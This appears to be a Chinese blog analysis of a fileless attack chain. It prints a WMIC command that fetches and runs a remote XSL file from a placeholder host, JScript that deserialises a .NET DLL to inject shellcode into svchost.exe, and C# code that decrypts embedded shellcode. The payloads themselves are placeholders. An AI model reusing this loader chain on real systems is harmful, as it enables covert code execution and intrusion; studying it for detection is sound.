无文件（Fileless）和不落地（Living off the Land）攻击已经非常流行，特别是在一些高等级的攻击实战中会出现。 理想的无文件攻击是只存在于内存中的后门，攻击人员会找一些长期开机的基础设施。 powershell字符串解析下载、mahta、rundll32、.NET assembly托管代码注入 文章作者：FFE4 原文地址：https://blog.csdn.net/cssxn/article/details/88956732
0x01 简述
C:/Windows/SysWOW64/wbem/WMIC.exe os get /format:"//ip/scripts/1.xsl"
0x02 xsl文件分析
function autoversion(){var shell = new ActiveXObject('WScript.Shell');ver = 'v4.0.30319';try {shell.RegRead('HKLM\SOFTWARE\Microsoft\.NETFramework\v4.0.30319\');} catch(e) {ver = 'v2.0.50727';}shell.Environment('Process')('COMPLUS_Version') = ver;}
function run(){var serialized_obj = 'base64硬编码的C# DLL文件';var cryptedcode = 'Base64加密的shellcode';var entry_class = 'test';try{autoversion();var stm = base64ToStream(serialized_obj);var fmt = new ActiveXObject('System.Runtime.Serialization.Formatters.Binary.BinaryFormatter');var al = new ActiveXObject('System.Collections.ArrayList');var d = fmt.Deserialize_2(stm);al.Add(fmt.SurrogateSelector);var o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class);o.call('svchost.exe', cryptedcode);}catch (e){}return 0;}
0x03 C# DLL文件分析
0x04 shellcode分析
using System;using System.Collections.Generic;using System.IO;using System.Linq;using System.Security.Cryptography;using System.Text;using System.Threading.Tasks;namespace test{class Program{static string key = "xxx";static string cryptedcode = "base64->des加密的shellcode";public static byte[] Decrypt(string pToDecrypt, string sKey){DESCryptoServiceProvider dESCryptoServiceProvider = new DESCryptoServiceProvider();byte[] array = Convert.FromBase64String(pToDecrypt);dESCryptoServiceProvider.Key = Encoding.ASCII.GetBytes(sKey);dESCryptoServiceProvider.IV = Encoding.ASCII.GetBytes(sKey);MemoryStream memoryStream = new MemoryStream();CryptoStream cryptoStream = new CryptoStream(memoryStream, dESCryptoServiceProvider.CreateDecryptor(), CryptoStreamMode.Write);cryptoStream.Write(array, 0, array.Length);cryptoStream.FlushFinalBlock();return memoryStream.ToArray();}static void Main(string[] args){byte[] code = Decrypt(cryptedcode, key);string filePath = Directory.GetCurrentDirectory() + "\123.txt";if (File.Exists(filePath))File.Delete(filePath);FileStream fs = new FileStream(filePath, FileMode.Create);fs.Write(code, 0, code.Length);fs.Flush();fs.Close();int n = 123;}}}
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